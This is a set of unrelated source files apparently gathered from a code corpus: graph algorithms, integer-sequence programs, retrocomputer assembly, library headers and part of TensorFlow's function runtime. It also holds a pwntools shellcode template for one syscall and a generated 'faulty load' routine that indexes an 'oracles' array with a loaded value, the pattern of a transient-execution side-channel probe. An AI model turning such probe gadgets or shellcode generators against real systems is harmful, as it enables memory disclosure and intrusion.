position of the bit that has been set in a bitmask count position; // nodes that are not connected to enough nodes yet std::vector<node> activeNodes; double n = G->numberOfNodes(); // initialize all vectors highestCount.assign(k, 0); G->forNodes([&](node v) { std::vector<unsigned int> bitmasks; bitmasks.assign(k, 0); mCurr[v] = bitmasks; mPrev[v] = bitmasks; activeNodes.push_back(v); // set one bit in each bitmask with probability P(bit i=1) = 0.5^(i+1), i=0,.. for (count j = 0; j < k; j++) { random = Aux::Random::real(0,1); position = std::ceil(std::log(random)/std::log(0.5) - 1); // set the bit in the bitmask if (position < lengthOfBitmask+r) { mPrev[v][j] |= 1 << position; } // add the current bit to the maximum-bitmask highestCount[j] = highestCount[j] | mPrev[v][j]; } }); // at zero distance, all nodes can only reach themselves hopPlot[0] = 1.0 / n; // as long as we need to connect more nodes while (!activeNodes.empty() && (maxDistance <= 0 || h < maxDistance)) { totalConnectedNodes = 0; for (count x = 0; x < activeNodes.size(); x++) { node v = activeNodes[x]; // for each parallel approximation for (count j = 0; j < k; j++) { // the node is still connected to all previous neighbors mCurr[v][j] = mPrev[v][j]; // and to all previous neighbors of all its neighbors G->forNeighborsOf(v, [&](node u) { mCurr[v][j] = mCurr[v][j] | mPrev[u][j]; }); } // the least bit number in the bitmask of the current node/distance that has not been set double b = 0; for (count j = 0; j < k; j++) { for (count i = 0; i < sizeof(i)*8; i++) { if (((mCurr[v][j] >> i) & 1) == 0) { b += i; break; } } } // calculate the average least bit number that has not been set over all parallel approximations b = b / k; // calculate the estimated number of neighbors // For the origin of the factor 0.77351 see http://www.mathcs.emory.edu/~cheung/papers/StreamDB/Probab/1985-Flajolet-Probabilistic-counting.pdf Theorem 3.A (p. 193) estimatedConnectedNodes = (std::pow(2,b) / 0.77351); // enforce monotonicity if (estimatedConnectedNodes > n) { estimatedConnectedNodes = n; } // check whether all k bitmask for this node have reached the highest possible value bool nodeFinished = true; for (count j = 0; j < k; j++) { if (mCurr[v][j] != highestCount[j]) { nodeFinished = false; break; } } // if the node wont change or is connected to enough nodes it must no longer be considered if (estimatedConnectedNodes >= n || nodeFinished) { // remove the current node from future iterations std::swap(activeNodes[x], activeNodes.back()); activeNodes.pop_back(); totalConnectedNodes += n; --x; //don't skip former activeNodes.back() that has been switched to activeNodes[x] } else { // add value of the node to all nodes so we can calculate the average totalConnectedNodes += estimatedConnectedNodes; } } // add nodes that are already connected to all nodes totalConnectedNodes += static_cast<double>((n - activeNodes.size()) * n); // compute the fraction of connected nodes hopPlot[h] = totalConnectedNodes / n; if (hopPlot[h] > 1) { hopPlot[h] = 1; } mPrev = mCurr; h++; } hasRun = true; } const std::map<count, double> &HopPlotApproximation::getHopPlot() const { assureFinished(); return hopPlot; } }
; A005451: Define b(n) = ( (n-1)*(n^2-3*n+1)*b(n-1) - (n-2)^3*b(n-2) )/(n*(n-3)); b(2) = b(3) = 1; sequence gives denominators of b(n). ; Submitted by Christian Krause ; 1,1,4,1,6,1,8,9,10,1,12,1,14,15,16,1,18,1,20,21,22,1,24,25,26,27,28,1,30,1,32,33,34,35,36,1,38,39,40,1,42,1,44,45,46,1,48,49,50,51,52,1,54,55,56,57,58,1,60 add $0,1 mov $1,$0 seq $1,38548 ; Number of divisors of n that are at most sqrt(n). cmp $1,1 mul $1,$0 sub $0,$1 add $0,1
#Mergesort for benchmarking #Optimized for 512 bit I$ 1024 bit D$ #Author Adam Hendrickson ahendri@purdue.edu #CORE 0 org 0x0000 ori $fp, $zero, 0xFFFC ori $sp, $zero, 0xFFFC ori $a0, $zero, data lw $s0, size($zero) srl $a1, $s0, 1 or $s1, $zero, $a0 or $s2, $zero, $a1 jal insertion_sort srl $t0, $s0, 1 subu $a1, $s0, $t0 sll $t0, $t0, 2 ori $a0, $zero, data addu $a0, $a0, $t0 or $s3, $zero, $a0 or $s4, $zero, $a1 or $a0, $zero, $s1 or $a1, $zero, $s2 or $a2, $zero, $s3 or $a3, $zero, $s4 ori $t0, $zero, sorted push $t0 ori $t1, $zero, flag wait1: lw $t2, 0($t1) beq $t2, $zero, wait1 jal merge addiu $sp, $sp, 4 halt #CORE 1 org 0x0200 ori $fp, $zero, 0x3FFC ori $sp, $zero, 0x3FFC ori $a0, $zero, data lw $s0, size($zero) srl $a1, $s0, 1 sll $t0, $a1, 2 addu $a0, $a0, $t0 subu $a1, $s0, $a1 jal insertion_sort ori $t0, $zero, flag ori $t1, $zero, 1 sw $t1, 0($t0) halt #void insertion_sort(int* $a0, int $a1) # $a0 : pointer to data start # $a1 : size of array #-------------------------------------- insertion_sort: ori $t0, $zero, 4 sll $t1, $a1, 2 is_outer: sltu $at, $t0, $t1 beq $at, $zero, is_end addu $t9, $a0, $t0 lw $t8, 0($t9) is_inner: beq $t9, $a0, is_inner_end lw $t7, -4($t9) slt $at, $t8, $t7 beq $at, $zero, is_inner_end sw $t7, 0($t9) addiu $t9, $t9, -4 j is_inner is_inner_end: sw $t8, 0($t9) addiu $t0, $t0, 4 j is_outer is_end: jr $ra #-------------------------------------- #void merge(int* $a0, int $a1, int* $a2, int $a3, int* dst) # $a0 : pointer to list 1 # $a1 : size of list 1 # $a2 : pointer to list 2 # $a3 : size of list 2 # dst [$sp+4] : pointer to merged list location #-------------------------------------- merge: lw $t0, 0($sp) m_1: bne $a1, $zero, m_3 m_2: bne $a3, $zero, m_3 j m_end m_3: beq $a3, $zero, m_4 beq $a1, $zero, m_5 lw $t1, 0($a0) lw $t2, 0($a2) slt $at, $t1, $t2 beq $at, $zero, m_3a sw $t1, 0($t0) addiu $t0, $t0, 4 addiu $a0, $a0, 4 addiu $a1, $a1, -1 j m_1 m_3a: sw $t2, 0($t0) addiu $t0, $t0, 4 addiu $a2, $a2, 4 addiu $a3, $a3, -1 j m_1 m_4: #left copy lw $t1, 0($a0) sw $t1, 0($t0) addiu $t0, $t0, 4 addiu $a1, $a1, -1 addiu $a0, $a0, 4 beq $a1, $zero, m_end j m_4 m_5: # right copy lw $t2, 0($a2) sw $t2, 0($t0) addiu $t0, $t0, 4 addiu $a3, $a3, -1 addiu $a2, $a2, 4 beq $a3, $zero, m_end j m_5 m_end: jr $ra #-------------------------------------- org 0x400 flag: cfw 0 size: cfw 64 data: cfw 90 cfw 81 cfw 51 cfw 25 cfw 80 cfw 41 cfw 22 cfw 21 cfw 12 cfw 62 cfw 75 cfw 71 cfw 83 cfw 81 cfw 77 cfw 22 cfw 11 cfw 29 cfw 7 cfw 33 cfw 99 cfw 27 cfw 100 cfw 66 cfw 61 cfw 32 cfw 1 cfw 54 cfw 4 cfw 61 cfw 56 cfw 3 cfw 48 cfw 8 cfw 66 cfw 100 cfw 15 cfw 92 cfw 65 cfw 32 cfw 9 cfw 47 cfw 89 cfw 17 cfw 7 cfw 35 cfw 68 cfw 32 cfw 10 cfw 7 cfw 23 cfw 92 cfw 91 cfw 40 cfw 26 cfw 8 cfw 36 cfw 38 cfw 8 cfw 38 cfw 16 cfw 50 cfw 7 cfw 67 org 0x600 sorted:
// @(#)lib/fibers_stack:$Id$ // Author: Rafal Lalik 18/11/2017 /************************************************************************* * Copyright (C) 2017-2018, Rafał Lalik. * * All rights reserved. * * * * For the licensing terms see $MAPTSYS/LICENSE. * * For the list of contributors see $MAPTSYS/README/CREDITS. * *************************************************************************/ #include <iostream> #include "MFibersStackGeomPar.h" #include "MParContainer.h" /** \class MFibersStackGeomPar \ingroup lib_fibers_stack A container for Fibers Stack geometry parameters \sa MPar */ /** Constructor */ MFibersStackGeomPar::MFibersStackGeomPar() : MPar(), mods(nullptr) { } /** Destructor */ MFibersStackGeomPar::~MFibersStackGeomPar() { delete [] mods; } /** Clear parameters */ void MFibersStackGeomPar::clear() { delete [] mods; mods = nullptr; modules = 0; } /** Get parameters * \sa MPar::getParams() * \param parcont pointer to container object * \return success */ bool MFibersStackGeomPar::getParams(MParContainer* parcont) { if (!parcont->fill("nModules", modules)) return false; if (mods) delete [] mods; mods = new SingleModule[modules]; // get layers TArrayI _l(modules); if (!parcont->fill("nLayers", _l)) return false; if (_l.GetSize() != modules) { std::cerr << "Size of nLayers doesn't match nModules" << std::endl; return false; } int n_layers = _l.GetSum(); // get fibers TArrayI _f(modules*n_layers); if (!parcont->fill("nFibers", _f)) return false; if (_f.GetSize() != (modules*n_layers)) { std::cerr << "Size of nFibers doesn't match nModules*nLayers" << std::endl; return false; } TArrayF _lr(modules*n_layers); if (!parcont->fill("fLayerRotation", _lr)) return false; if (_lr.GetSize() != (modules*n_layers)) { std::cerr << "Size of fLayerRotation doesn't match nModules" << std::endl; return false; } TArrayF _fox(modules*n_layers); if (!parcont->fill("fFiberOffsetX", _fox)) return false; if (_fox.GetSize() != (modules*n_layers)) { std::cerr << "Size of fFiberOffsetX doesn't match nModules" << std::endl; return false; } TArrayF _foy(modules*n_layers); if (!parcont->fill("fFiberOffsetY", _foy)) return false; if (_foy.GetSize() != (modules*n_layers)) { std::cerr << "Size of fFiberOffsetY doesn't match nModules" << std::endl; return false; } TArrayF _fsp(modules*n_layers); if (!parcont->fill("fFibersPitch", _fsp)) return false; if (_fsp.GetSize() != (modules*n_layers)) { std::cerr << "Size of fFibersPitch doesn't match nModules" << std::endl; return false; } for (int m = 0; m < modules; ++m) { mods[m].layers = _l[m]; mods[m].fibers.Set(mods[m].layers); mods[m].layer_rotation.Set(mods[m].layers); mods[m].fiber_offset_x.Set(mods[m].layers); mods[m].fiber_offset_y.Set(mods[m].layers); mods[m].fibers_pitch.Set(mods[m].layers); for (int l = 0; l < _l[m]; ++l) { Int_t fibers = _f[n_layers * m + l]; Int_t layrot = _lr[n_layers * m + l]; Float_t fox = _fox[n_layers * m + l]; Float_t foy = _foy[n_layers * m + l]; Float_t fsp = _fsp[n_layers * m + l]; mods[m].fibers[l] = fibers; mods[m].layer_rotation[l] = layrot; mods[m].fiber_offset_x[l] = fox; mods[m].fiber_offset_y[l] = foy; mods[m].fibers_pitch[l] = fsp; } } return true; } /** Put parameters * \sa MPar::putParams() * \param parcont pointer to container object * \return success */ bool MFibersStackGeomPar::putParams(MParContainer* parcont) const { } /** Print parameters */ void MFibersStackGeomPar::print() const { printf("Number of modules = %d\n", modules); for (int m = 0; m < modules; ++m) { printf(" +++\n layers = %d\n", mods[m].layers); printf(" fibers:"); for (int l = 0; l < mods[m].layers; ++l) printf(" %2d", mods[m].fibers[l]); printf("\n layrot:"); for (int l = 0; l < mods[m].layers; ++l) printf(" %2.0f", mods[m].layer_rotation[l]); printf("\n off x:"); for (int l = 0; l < mods[m].layers; ++l) printf(" %2.0f", mods[m].fiber_offset_x[l]); printf("\n off y:"); for (int l = 0; l < mods[m].layers; ++l) printf(" %2.0f", mods[m].fiber_offset_y[l]); printf("\n pitch:"); for (int l = 0; l < mods[m].layers; ++l) printf(" %2.0f", mods[m].fibers_pitch[l]); putchar('\n'); } } /** Get number of layers in the module * \param m module * \return number of layers */ Int_t MFibersStackGeomPar::getLayers(Int_t m) const { if (mods and m < modules) return mods[m].layers; else return -1; } /** Get number of fibers in the layer * \param m module * \param l layer * \return number of fibers */ Int_t MFibersStackGeomPar::getFibers(Int_t m, Int_t l) const { if (mods and m < modules and l < mods[m].layers) return mods[m].fibers[l]; else return -1; } /** Get layer rotation * \param m module * \param l layer * \return layer rotation */ Float_t MFibersStackGeomPar::getLayerRotation(Int_t m, Int_t l) const { if (mods and m < modules and l < mods[m].layers) return mods[m].layer_rotation[l]; else return -10000.; } /** Get fibers offset X * \param m module * \param l layer * \return offset X */ Float_t MFibersStackGeomPar::getFiberOffsetX(Int_t m, Int_t l) const { if (mods and m < modules and l < mods[m].layers) return mods[m].fiber_offset_x[l]; else return -10000.; } /** Get layers offset Y * \param m module * \param l layer * \return offset Y */ Float_t MFibersStackGeomPar::getFiberOffsetY(Int_t m, Int_t l) const { if (mods and m < modules and l < mods[m].layers) return mods[m].fiber_offset_y[l]; else return -10000.; } /** Get fibers pitch in a layer * \param m module * \param l layer * \return fibers pitch */ Float_t MFibersStackGeomPar::getFibersPitch(Int_t m, Int_t l) const { if (mods and m < modules and l < mods[m].layers) return mods[m].fibers_pitch[l]; else return -10000.; }
; A202201: Number of (n+2) X 9 binary arrays avoiding patterns 001 and 101 in rows and columns. ; 2430,11880,44550,138996,378378,926640,2084940,4375800,8664084,16325712,29476980,51279480,86337900,141210432,225054126,350430300,534298050,799227000,1174863690,1699689420,2423110950,3407929200,4733235000,6497785008,8823915144,11862053280,15795897480,20848330800,27288148536,35437678848,45681382890,58475525940,74359016550,93965516424,118036929582,147438385380,183174836130,226409396400,278483557572,340939417896,415544075100,504316335600,609555901500,733875203880,880234058340,1051977326400 add $0,2 mov $1,8 add $1,$0 bin $1,$0 mul $0,$1 add $1,$0 mov $0,$1 mul $0,18
MODULE __printf_handle_f PUBLIC __printf_handle_f PUBLIC __printf_handle_e EXTERN fa EXTERN l_jphl EXTERN dldpsh EXTERN __printf_get_buffer_address EXTERN __printf_print_the_buffer EXTERN ftoa EXTERN ftoe EXTERN strlen EXTERN __convert_sdccf2reg __printf_handle_e: set 5,(ix-4) __printf_handle_f: push hl ;save fmt bit 0,(ix+6) jr nz,is_sccz80 ex de,hl ;hl=where tp pick up from ld e,(hl) ;mantissa inc hl ld d,(hl) inc hl ld a,(hl) inc hl ld b,(hl) ;exponent inc hl push hl ; save ap ld h,b ld l,a push ix ;save callers call __convert_sdccf2reg push hl ;get it on the stack in 6 byte format push de ld hl,0 push hl jr rejoin ; If we've got %f then lets assume we've got sccz80 rather than sdcc is_sccz80: dec de dec de dec de dec de ;long starts here dec de dec de push de ;save ap next inc de inc de push ix ;save ix - ftoa will corrupt it ex de,hl ;hl=address of parameter call dldpsh rejoin: ld c,(ix-8) ld b,(ix-7) ld a,b and c inc a jr nz,set_prec ld bc,6 set_prec: push bc call __printf_get_buffer_address push hl ;ftoa(double number, int prec, char *buf) ld hl,ftoa bit 5,(ix-4) jr z,call_fp_converter ld hl,ftoe call_fp_converter: call l_jphl pop bc ;the buffer pop bc pop bc pop bc pop bc pop ix ;get ix back call __printf_get_buffer_address call strlen ;get the length of it ld (ix-10),l jp __printf_print_the_buffer
<% import collections import pwnlib.abi import pwnlib.constants import pwnlib.shellcraft %> <%docstring>vserver(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4) -> str Invokes the syscall vserver. See 'man 2 vserver' for more information. Arguments: vararg(int): vararg Returns: long </%docstring> <%page args="vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None"/> <% abi = pwnlib.abi.ABI.syscall() stack = abi.stack regs = abi.register_arguments[1:] allregs = pwnlib.shellcraft.registers.current() can_pushstr = [] can_pushstr_array = [] argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4'] argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4] # Load all of the arguments into their destination registers / stack slots. register_arguments = dict() stack_arguments = collections.OrderedDict() string_arguments = dict() dict_arguments = dict() array_arguments = dict() syscall_repr = [] for name, arg in zip(argument_names, argument_values): if arg is not None: syscall_repr.append('%s=%r' % (name, arg)) # If the argument itself (input) is a register... if arg in allregs: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[index] = arg # The argument is not a register. It is a string value, and we # are expecting a string value elif name in can_pushstr and isinstance(arg, str): string_arguments[name] = arg # The argument is not a register. It is a dictionary, and we are # expecting K:V paris. elif name in can_pushstr_array and isinstance(arg, dict): array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()] # The arguent is not a register. It is a list, and we are expecting # a list of arguments. elif name in can_pushstr_array and isinstance(arg, (list, tuple)): array_arguments[name] = arg # The argument is not a register, string, dict, or list. # It could be a constant string ('O_RDONLY') for an integer argument, # an actual integer value, or a constant. else: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[target] = arg # Some syscalls have different names on various architectures. # Determine which syscall number to use for the current architecture. for syscall in ['SYS_vserver']: if hasattr(pwnlib.constants, syscall): break else: raise Exception("Could not locate any syscalls: %r" % syscalls) %> /* vserver(${', '.join(syscall_repr)}) */ %for name, arg in string_arguments.items(): ${pwnlib.shellcraft.pushstr(arg, append_null=('\x00' not in arg))} ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)} %endfor %for name, arg in array_arguments.items(): ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)} %endfor %for name, arg in stack_arguments.items(): ${pwnlib.shellcraft.push(arg)} %endfor ${pwnlib.shellcraft.setregs(register_arguments)} ${pwnlib.shellcraft.syscall(syscall)}
/******************************************************************************* * Copyright 2016 Intel Corporation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *******************************************************************************/ #ifndef CPU_RELU_FWD_PD_HPP #define CPU_RELU_FWD_PD_HPP #include <assert.h> #include "c_types_map.hpp" #include "relu_pd.hpp" #include "cpu_engine.hpp" #include "cpu_memory.hpp" #include "cpu_primitive.hpp" #include "type_helpers.hpp" #include "utils.hpp" namespace mkldnn { namespace impl { namespace cpu { struct cpu_relu_fwd_pd_t: public relu_fwd_pd_t { using cpu_memory_pd_t = cpu_memory_t::pd_t; cpu_relu_fwd_pd_t(engine_t *engine, const relu_desc_t *adesc, const relu_fwd_pd_t *hint_fwd_pd) : relu_fwd_pd_t(engine, adesc, hint_fwd_pd) , data_pd_(engine_, &desc_.data_desc), ws_pd_(engine_) {} virtual ~cpu_relu_fwd_pd_t() {} virtual const cpu_memory_pd_t *src_pd(int index = 0) const override { return index == 0 ? &data_pd_ : nullptr; } virtual const cpu_memory_pd_t *dst_pd(int index = 0) const override { return index == 0 ? &data_pd_ : nullptr; } virtual const cpu_memory_pd_t *workspace_pd(int index = 0) const override { return (index == 0 && !ws_pd_.is_zero()) ? &ws_pd_ : nullptr; } protected: cpu_memory_pd_t data_pd_; cpu_memory_pd_t ws_pd_; virtual status_t init() = 0; }; } } } #endif // vim: et ts=4 sw=4 cindent cino^=l0,\:0,N-s
#include <boost/thread/thread.hpp> #include "dirmonitor.hpp" using namespace ilrd; DirMonitor::DirMonitor(const std::string& path, uint32_t flags):m_path(path) { m_fd = inotify_init(); const char* temp = m_path.c_str(); m_wd = inotify_add_watch(m_fd, temp, flags); } DirMonitor::~DirMonitor() { inotify_rm_watch(m_fd,m_wd); close(m_fd); } void DirMonitor::Functor::operator()(int fd, Dispatcher<std::string>* disp ) { const int event_size = sizeof (struct inotify_event) ; const int buf_len = 1024 * ( event_size + 16 ); char buffer[buf_len]; while(read(fd, buffer, buf_len)) { struct inotify_event *event = (struct inotify_event*) &buffer; std::string name = event->name; if(event->len) { std::cout << "file changed" << '\n'; disp->NotifyAll(event->name); } } } void DirMonitor::Monitor() { m_monitoring = true; Functor func; boost::thread(func, m_fd, &m_disp); } void DirMonitor::StopMonitoring() { m_monitoring = false; } void DirMonitor::subscribe(CallbackBase<std::string>& cb_dir) { m_disp.Attach(&cb_dir); } void DirMonitor::unsubscribe(CallbackBase<std::string>& cb_dir) { m_disp.Detach(&cb_dir); } std::string DirMonitor::GetPath() { return m_path; }
#pragma once // This file is generated from the Game's Reflection data #include <cstdint> #include <RED4ext/Common.hpp> #include <RED4ext/CName.hpp> #include <RED4ext/NativeTypes.hpp> #include <RED4ext/Scripting/Natives/Generated/Transform.hpp> #include <RED4ext/Scripting/Natives/Generated/red/TagList.hpp> namespace RED4ext { namespace game { struct PlayerSpawnParams { static constexpr const char* NAME = "gamePlayerSpawnParams"; static constexpr const char* ALIAS = NAME; Transform spawnPoint; // 00 TweakDBID recordId; // 20 CName gender; // 28 red::TagList spawnTags; // 30 bool useSpecifiedStartPoint; // 40 bool isSpectator; // 41 uint8_t unk42[0x48 - 0x42]; // 42 CString nickname; // 48 uint8_t unk68[0x70 - 0x68]; // 68 }; RED4EXT_ASSERT_SIZE(PlayerSpawnParams, 0x70); } // namespace game } // namespace RED4ext
; A247619: Start with a single pentagon; at n-th generation add a pentagon at each expandable vertex; a(n) is the sum of all label values at n-th generation. (See comment for construction rules.) ; 1,6,16,36,66,116,186,296,446,676,986,1456,2086,3036,4306,6216,8766,12596,17706,25376,35606,50956,71426,102136,143086,204516,286426,409296,573126,818876,1146546,1638056,2293406,3276436,4587146,6553216,9174646,13106796 mov $2,1 lpb $0 sub $0,$2 mov $1,$0 max $1,0 seq $1,53599 ; Number of nonempty subsequences {s(k)} of 1..n such that the difference sequence is palindromic. add $2,$1 lpe mul $1,5 add $1,1 mov $0,$1
; /***************************************************************************** ; * ugBASIC - an isomorphic BASIC language compiler for retrocomputers * ; ***************************************************************************** ; * Copyright 2021 Marco Spedaletti (asimov@mclink.it) ; * ; * Licensed under the Apache License, Version 2.0 (the "License"); ; * you may not use this file except in compliance with the License. ; * You may obtain a copy of the License at ; * ; * http://www.apache.org/licenses/LICENSE-2.0 ; * ; * Unless required by applicable law or agreed to in writing, software ; * distributed under the License is distributed on an "AS IS" BASIS, ; * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; * See the License for the specific language governing permissions and ; * limitations under the License. ; *---------------------------------------------------------------------------- ; * Concesso in licenza secondo i termini della Licenza Apache, versione 2.0 ; * (la "Licenza"); è proibito usare questo file se non in conformità alla ; * Licenza. Una copia della Licenza è disponibile all'indirizzo: ; * ; * http://www.apache.org/licenses/LICENSE-2.0 ; * ; * Se non richiesto dalla legislazione vigente o concordato per iscritto, ; * il software distribuito nei termini della Licenza è distribuito ; * "COSì COM'è", SENZA GARANZIE O CONDIZIONI DI ALCUN TIPO, esplicite o ; * implicite. Consultare la Licenza per il testo specifico che regola le ; * autorizzazioni e le limitazioni previste dalla medesima. ; ****************************************************************************/ ;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ;* * ;* FILL BLOCKS ON 6502 * ;* * ;* by Marco Spedaletti * ;* * ;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * CPUFILLBLOCKS: LDY #0 CPUFILLBLOCKS2: STA (TMPPTR),y INY BNE CPUFILLBLOCKS2 INC TMPPTR+1 DEX BNE CPUFILLBLOCKS RTS
; ; ; ZX Maths Routines ; ; 8/12/02 - Stefano Bodrato ; ; $Id: ceil.asm,v 1.4 2015/08/10 08:52:12 stefano Exp $ ; ;double ceil(double) ;Number in FA.. ; ;This is implemented as -(floor(-x)) IF FORzx INCLUDE "zxfp.def" ENDIF IF FORzx81 INCLUDE "81fp.def" ENDIF IF FORlambda INCLUDE "lambdafp.def" ENDIF PUBLIC ceil EXTERN fsetup1 EXTERN stkequ .ceil call fsetup1 defb ZXFP_NEGATE defb ZXFP_INT IF FORlambda defb ZXFP_NEGATE + 128 ELSE defb ZXFP_NEGATE defb ZXFP_END_CALC ENDIF jp stkequ
; A066211: a(n) = Sum_{j=0..n} (2*n)!/(2*n-j)!. ; 1,3,17,157,2081,36101,773665,19726085,582913217,19582414021,736891600001,30699450566885,1402556105125345,69719685409234277,3745929254826233441,216310377722912693701,13359435408855851031425,878701820865582786218885,61320957119042580664595137,4525280594748425506670362661,352095792080402162190469751201,28806813296345629102651925968165,2472297892863347223825749800568225,222088491494731167434265412104225797,20840256854361820090109607143549398081,2039092589165973828189235489996825298501 mov $1,$0 lpb $0 sub $0,1 add $1,1 add $2,34 mul $2,$1 lpe mov $0,$2 div $0,34 add $0,1
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %rcx push %rdi push %rsi // REPMOV lea addresses_D+0x405, %rsi lea addresses_normal+0x1d661, %rdi nop nop nop nop xor %r10, %r10 mov $41, %rcx rep movsq nop nop nop nop nop and %r12, %r12 // Store mov $0x5c3af70000000005, %r14 nop nop nop nop nop cmp %r10, %r10 movw $0x5152, (%r14) cmp %r12, %r12 // Faulty Load lea addresses_US+0x1fe05, %rdi nop add %r10, %r10 movb (%rdi), %r14b lea oracles, %rsi and $0xff, %r14 shlq $12, %r14 mov (%rsi,%r14,1), %r14 pop %rsi pop %rdi pop %rcx pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_D'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_normal'}} {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_NC'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'00': 34} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
/* Copyright 2015 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "tensorflow/core/common_runtime/function.h" #include <deque> #include <vector> #include "tensorflow/core/common_runtime/device.h" #include "tensorflow/core/common_runtime/executor.h" #include "tensorflow/core/common_runtime/executor_factory.h" #include "tensorflow/core/common_runtime/graph_optimizer.h" #include "tensorflow/core/common_runtime/memory_types.h" #include "tensorflow/core/common_runtime/rendezvous_mgr.h" #include "tensorflow/core/framework/collective.h" #include "tensorflow/core/framework/function.h" #include "tensorflow/core/framework/node_def.pb.h" #include "tensorflow/core/framework/node_def_util.h" #include "tensorflow/core/framework/op.h" #include "tensorflow/core/framework/op_kernel.h" #include "tensorflow/core/framework/versions.pb.h" #include "tensorflow/core/graph/algorithm.h" #include "tensorflow/core/graph/control_flow.h" #include "tensorflow/core/graph/gradients.h" #include "tensorflow/core/graph/graph_constructor.h" #include "tensorflow/core/graph/optimizer_cse.h" #include "tensorflow/core/lib/core/threadpool.h" #include "tensorflow/core/lib/gtl/map_util.h" #include "tensorflow/core/platform/macros.h" // See core/kernels/function_ops.cc for related kernels. namespace tensorflow { // A few string constant used throughout this module. static constexpr const char* const kArgOp = FunctionLibraryDefinition::kArgOp; static constexpr const char* const kRetOp = FunctionLibraryDefinition::kRetOp; static constexpr const char* const kGradientOp = FunctionLibraryDefinition::kGradientOp; static constexpr const char* const kNodeLabel = "Func"; static constexpr const char* const kFuncAttr = FunctionLibraryDefinition::kFuncAttr; // Represents the index-th output of a node. struct Endpoint { Node* node; int index; // Returns the string name represents this endpoint. string name() const { if (index == 0) { return node->name(); } else { return strings::StrCat(node->name(), ":", index); } } DataType dtype() const { return node->output_type(index); } }; struct EndpointHash { uint64 operator()(const Endpoint& x) const { return Hash64(reinterpret_cast<const char*>(&x.node), sizeof(Node*), x.index); } }; struct EndpointEq { bool operator()(const Endpoint& x, const Endpoint& y) const { return (x.node == y.node) && (x.index == y.index); } }; // The following Add* routines are used to add a few graph nodes while // functions are transformed. static Node* AddNoOp(Graph* g) { NodeDef ndef; ndef.set_name(g->NewName(kNodeLabel)); ndef.set_op("NoOp"); Status s; Node* ret = g->AddNode(ndef, &s); TF_CHECK_OK(s); return ret; } static Node* AddIdentity(Graph* g, Endpoint input) { DCHECK_LT(0, input.dtype()); NodeDef ndef; ndef.set_name(g->NewName(kNodeLabel)); ndef.set_op("Identity"); ndef.add_input(input.name()); AddNodeAttr("T", BaseType(input.dtype()), &ndef); Status s; Node* ret = g->AddNode(ndef, &s); TF_CHECK_OK(s); g->AddEdge(input.node, input.index, ret, 0); return ret; } static Node* AddArg(Graph* g, DataType dtype, int index) { DCHECK_LT(0, dtype); DCHECK_LT(dtype, DT_FLOAT_REF); NodeDef ndef; ndef.set_name(g->NewName(kNodeLabel)); ndef.set_op(kArgOp); AddNodeAttr("T", dtype, &ndef); AddNodeAttr("index", index, &ndef); Status s; Node* ret = g->AddNode(ndef, &s); TF_CHECK_OK(s); return ret; } static Node* AddRet(Graph* g, Endpoint input, int index) { DCHECK_LT(0, input.dtype()); DCHECK_LT(input.dtype(), DT_FLOAT_REF); NodeDef ndef; ndef.set_name(g->NewName(kNodeLabel)); ndef.set_op(kRetOp); ndef.add_input(input.name()); AddNodeAttr("T", input.dtype(), &ndef); AddNodeAttr("index", index, &ndef); Status s; Node* ret = g->AddNode(ndef, &s); TF_CHECK_OK(s); g->AddEdge(input.node, input.index, ret, 0); return ret; } class FunctionLibraryRuntimeImpl : public FunctionLibraryRuntime { public: FunctionLibraryRuntimeImpl(const DeviceMgr* dmgr, Env* env, Device* device, int graph_def_version, const FunctionLibraryDefinition* lib_def, thread::ThreadPool* default_thread_pool, const OptimizerOptions& optimizer_options, CustomKernelCreator custom_kernel_creator, ProcessFunctionLibraryRuntime* parent); ~FunctionLibraryRuntimeImpl() override; Status Instantiate(const string& function_name, AttrSlice attrs, const InstantiateOptions& options, Handle* handle) override; Status ReleaseHandle(Handle handle) override; const FunctionBody* GetFunctionBody(Handle handle) override; Status CreateKernel(const NodeDef& ndef, OpKernel** kernel) override; void Run(const Options& opts, Handle handle, gtl::ArraySlice<Tensor> args, std::vector<Tensor>* rets, DoneCallback done) override; // NOTE(mrry): This overload is currently only implemented for local function // execution. // 